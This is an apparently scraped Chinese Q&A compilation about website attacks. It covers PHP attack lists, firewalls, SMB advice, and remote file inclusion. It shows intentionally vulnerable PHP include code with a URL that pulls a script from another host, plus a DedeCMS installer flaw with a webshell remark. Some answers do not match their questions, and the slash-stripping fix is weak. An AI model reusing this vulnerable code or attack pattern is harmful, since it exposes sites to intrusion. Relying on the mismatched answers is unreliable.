① PHP網站要防哪幾種常見方式攻擊
常見攻擊方式：1、命令注入，2、eval注入，3、客戶端腳本攻擊，4、跨網站腳本攻擊，5、SQL注入攻擊，6、跨網站請求偽造攻擊，7、Session 會話劫持，8、Session 固定攻擊，9、HTTP響應拆分攻擊，10、文件上傳漏洞，11、目錄穿越漏洞，12、遠程文件包含攻擊，13、動態函數注入攻擊，14、URL攻擊，15、表單提交欺騙攻擊，16、HTTP請求欺騙攻擊
② dedecms5.7遠程文件包含漏洞可以通過哪些方式進行防護
點擊系統上的騰訊電腦管家應用程序界面，在工具箱中，點擊修復漏洞按鈕
在漏洞修復界面中，展出可以安裝的修復程序列表，如果簡單的話，可以直接點擊右側的一鍵修復按鈕
點擊漏洞修復界面中的，已安裝，就會返回已經安裝的漏洞修復程序列表
點擊右上方的設置按鈕，進行漏洞修復設置
在設置界面中，可以設置程序的安裝和修復方式，需要提醒自己，然後進行修復操作
③ 電腦怎麼老有遠程攻擊 怎麼辦啊
你的系統是做在c盤吧~~~做完以後不要去雙擊d
e
f之類的盤，首先點開我的電腦-工具-文件夾選項-查看
將隱藏受保護的系統文件前面的勾去掉，並且顯示所有的隱藏文件。確定。
下面是重點，我想應該是在其他盤里有autorun文件。拿d盤當示範，你如果想清除的話，先點開我的電腦，在地址欄中輸入
d:
然後回車就可以進入d盤而且不自動運行病毒。然後看看d盤那些隱藏文件有沒有什麼可疑的什麼的~~~刪除就行
其他盤也一樣。。。。。不知道對你有沒有幫助，你先試試吧
④ 遠程文件包含漏洞 java web中有嗎
javaweb中也有漏洞呀，比如XSS攻擊，方法沒有過濾，介面任何人都能訪問，這也屬於漏洞
⑤ 我的ＳＭＢ遠程共享服務被攻擊怎麼辦
第一關閉共享！
關閉共享
1、從命令行里打開計算機管理平台（compmgmt.msc）。
2、左鍵單擊共享文件夾。
3、右鍵選中所重要的共享文件夾，在下拉框中選擇停止共享。
4、確認這個操作。 也可以通過在命令提示符中鍵入：net share sharename /delete 來取消共享
打全系統補丁就可以 也就是利用微軟的自動更新打好補丁
注意：打好補丁之後 仍然無法避免防火牆報警這個攻擊
用一個圖表示
惡意攻擊 >> 防火牆 >> 帶有補丁的系統
也就是 防火牆類似於一個大門 你的系統是在這扇門保護下的 你無法避免 惡意攻擊試圖攻擊你 如果還有惡意代碼攻擊你 防火牆仍會報警 不過沒什麼問題了！！！
最後是到官網上下個補丁
打上MS08-067
⑥ 誰能聊下資料庫防火牆與傳統防火牆的區別
當今社會，信息化、互聯網技術高速發展，數據成為政府、金融、教育、醫療等各行業的核心資產，一旦數據被泄漏，會造成嚴重經濟損失和不良的社會影響，因此資料庫安全尤為重要。對於SQL注入攻擊而言，已經有了Web防火牆，為何還需要資料庫防火牆？兩者之間的區別在哪？
什麼是資料庫防火牆？
資料庫防火牆是一款抵禦並消除由於應用程序業務邏輯漏洞或者缺陷所導致的數據（庫）安全問題的安全設備或者產品。
資料庫防火牆一般情況下部署在應用程序伺服器和資料庫伺服器之間，採用資料庫協議解析的方式完成。但這並不是唯一的實現方式，你可以部署在資料庫外部，可以不採用協議解析。從這個定義可以看出，資料庫防火牆其本質目標是給業務應用程序打補丁，避免由於應用程序業務邏輯漏洞或者缺陷影響數據（庫）安全。
常見的應用程序業務邏輯漏洞和缺陷：SQL注入攻擊、CC攻擊、非預期的大量數據返回、敏感數據未脫敏、頻繁的同類操作、超級敏感操作控制、身份盜用和撞庫攻擊、驗證繞行和會話劫持、業務邏輯混亂。
Web防火牆也能夠防禦SQL注入攻擊，為什麼還要部署資料庫防火牆？
Web防火牆可以抵禦的漏洞與缺陷：SQL注入攻擊、XSS攻擊、CSRF攻擊、SSRF攻擊、Webshell後門、弱口令、反序列化攻擊、命令/代碼執行、命令/代碼注入、本地/遠程文件包含攻擊、文件上傳攻擊、敏感信息泄露、XML實體注入、XPATH注入、LDAP注入、其他。
從抵禦范圍來看，Web防火牆和資料庫防火牆所承載的目標區別較大，SQL注入攻擊攻只是兩種不同防火牆的為數不多的交叉點。
資料庫防火牆是SQL注入防禦的終極解決方案
資料庫防火牆和Web防火牆部署位置的不同，決定了兩種不同產品對於SQL注入攻擊的防禦策略和效果會大不相同。
部署位置：Web防火牆作用在瀏覽器和應用程序之間，資料庫防火牆作用在應用伺服器和資料庫伺服器之間。
作用協議：Web防火牆作用在Http協議上，資料庫防火牆一般作用在資料庫協議上，比如Oracle SQL*Net，MSSQL TDS等。
更多的訪問通道
通過http服務應用訪問資料庫只是資料庫訪問中的一種通道和業務，還有大量的業務訪問和http無關，這些http無關的業務自然就無法部署web防火牆，只能依賴於資料庫防火牆來完成。
總結
1. 資料庫防火牆主要用來防禦外部入侵風險，需要和內部安全管控適當分開。
2. 資料庫防火牆主要聚焦點是通過修復應用程序業務邏輯漏洞和缺陷來降低或者消除數據（庫）安全風險。SQL注入攻擊是其核心防禦風險，而 資料庫漏洞攻擊檢測和防禦則並不是必須的。
3. 由於SQL注入攻擊和資料庫漏洞攻擊的伴生性，資料庫防火牆往往具備資料庫漏洞檢測和防禦功能。
4. Web防火牆不能替代資料庫防火牆，Web防火牆是SQL注入攻擊的第一道防線，資料庫防火牆則是SQL注入攻擊的終極解決方案。
⑦ PHP 網路開發詳解之遠程文件包含漏洞
以下代碼（Code）實現了根據瀏覽器地址欄參數的文件名稱包含不同文件的功能。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
include("$file_name
");
//包含文件
//一些其他操作
?>
這時，通過在地址欄上指定不同的文件名就可以實現包含不同文件並執行的功能。例如，通過在瀏覽器上訪問http://localhost/test.php?filename=myinc.php就可以在代碼（Code）中包含並執行myinc.php文件。
由於上面的代碼（Code）沒有進行任何錯誤處理，在瀏覽器上不加參數運行，所以將得到以下運行結果。
Warning:
include(.php)
[function.include]:
failed
to
open
stream:
No
such
file
or
directory
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
Warning:
include()
[function.include]:
Failed
opening
'.php'
for
inclusion
(include_path='.;C:\Program
Files\xampp\php\pear\')
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
訪問者通過讀取這段錯誤信息，可以得知當前的操作是一個文件包含操作。這時，可以在自己的伺服器上放置一個相應的腳本代碼。需要注意的是PHP在獲取遠程文件時獲得的是遠程伺服器的最終輸出結果，而不是文件本身。該腳本代碼位於192.168.0.1伺服器上，文件名為hello.txt，腳本代碼（Code）如下所示。
復制代碼
代碼如下:
<?php
echo
"hello
world!";
?>
這時，通過在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運行hello.txt中的腳本了。
為了解決這個問題，一種方式是完善代碼的錯誤信息，使訪問者無法知道當前腳本正在包含參數中指定的文件。修改後的代碼（Code）如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
$_GET["filename"];
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
修改後，如果在被包含的文件無法找到時將出現「頁面在瀏覽過程中出現錯誤」的錯誤信息，訪問者將無法獲得當前頁面的具體操作信息。
第二種方式可以更加有效地防止遠程文件包含攻擊。方式是替換地址欄參數中的斜線「/」。這樣，在地址欄參數中輸入遠程文件地址時，代碼將無法正確地獲得參數。修改後的代碼（Code）如下所示。
復制代碼
代碼如下:
<?php
$file_name
=
str_replace('/',
'',
$_GET["filename"]);
//獲得當前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("頁面在瀏覽過程中出現錯誤");
}
//一些其他操作
?>
這樣，在瀏覽器中訪問http://localhost/test.php?filename=http://192.168.0.1/hello.txt
時，實際上PHP代碼（Code）獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁面將不會包含遠程文件，並顯示相應的錯誤信息。
⑧ 電腦遠程攻擊指什麼
網路攻擊（Cyber Attacks，也稱賽博攻擊）是指針對計算機信息系統、基礎設施、計算機網路或個人計算機設備的，任何類型的進攻動作。
對於計算機和計算機網路來說，破壞、揭露、修改、使軟體或服務失去功能、在沒有得到授權的情況下偷取或訪問任何一計算機的數據，都會被視為於計算機和計算機網路中的攻擊。
⑨ PHP的網站主要攻擊方式有哪些
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、客戶端腳本攻擊(Script Insertion)
4、跨網站腳本攻擊(Cross Site Scripting, XSS)
5、SQL注入攻擊(SQL injection)
6、跨網站請求偽造攻擊(Cross Site Request Forgeries, CSRF)
7、Session 會話劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應拆分攻擊(HTTP Response Splitting)
10、文件上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠程文件包含攻擊(Remote Inclusion)
13、動態函數注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)
⑩ 如何利用DedeCMS lt;5.7-sp1遠程文件包含漏洞
其實能看懂代碼的話這個漏洞非常簡單，雖然標題是文件包含，實際上是因為變數覆蓋引起的
漏洞文件在install/index.php.bak
17 $install_demo_name = 'dedev57demo.txt';
18 $insLockfile = dirname(__FILE__).'/install_lock.txt';
29 foreach(Array('_GET','_POST','_COOKIE') as $_request)
30 {
31 foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
32 }
這一段是導致變數覆蓋的代碼，可以覆蓋掉$insLockfile這個變數使file_exists判斷失效， 導致利用者可以重新安裝網站，這個漏洞很久以前就曝出來了。
http://www.cnseay.com/2956 這篇文章說的很詳細了
標題中的文件包含在哪裡呢
373 else if($step==11)
374 {
375 require_once('../data/admin/config_update.php');
376 $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
377
378 $sql_content = file_get_contents($rmurl);
379 $fp = fopen($install_demo_name,'w');
380 if(fwrite($fp,$sql_content)) //fwrite websehll
381 echo ' <font color="green">[√]</font> 存在(您可以選擇安裝進行體驗)';
382 else
383 echo ' <font color="red">[×]</font> 遠程獲取失敗';
384 unset($sql_content);
385 fclose($fp);
386 exit();
387 }
由於變數都是可控的，程序中又用到了 file_get_contents函數去讀取遠程文件，然後又用fwrite函數保存到本地了。利用方法也非常簡單